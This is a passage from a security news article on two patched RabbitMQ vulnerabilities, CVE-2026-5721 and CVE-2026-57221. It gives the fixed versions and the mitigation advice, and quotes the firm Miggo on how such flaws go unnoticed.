<span data-contrast="auto">The CVE-2026-5721 flaw was introduced in RabbitMQ version 3.13.0 in early 2024. It has since been patched in versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Patches Also Address a Second Security Flaw</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The security updates also fix CVE-2026-57221, a medium-severity vulnerability with a <a href="https://thecyberexpress.com/vulnerability-in-moveit-transfer-exploited/" target="_blank" rel="noopener">CVSS</a> score of 5.3. This authorization issue allows any authenticated user to enumerate queues and exchanges while viewing related statistics. According to Miggo, attackers could use the flaw to map an organization's virtual host, infer business activity, and collect intelligence for future attacks, particularly in multi-tenant environments where multiple teams or applications share the same virtual host.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">To reduce exposure to the RabbitMQ vulnerability, organizations are advised to update affected deployments immediately, restrict access to vulnerable systems if patching cannot be performed, prevent public exposure of the management interface, implement network segmentation, and rotate OAuth client secrets. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Although there is currently no evidence that CVE-2026-5721 has been <a href="https://thecyberexpress.com/critical-mongobleed-flaw-exploited-in-the-wild/" target="_blank" rel="noopener">exploited in the wild</a>, Miggo noted, "Neither of these RabbitMQ bugs is exotic. They sat in the codebase for over two years. They are precisely the kind of quiet, systemic inconsistency that hides in mature, widely deployed software: the kind a human reviewer reads past, and a single-pass tool fails to compare against everything around it."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
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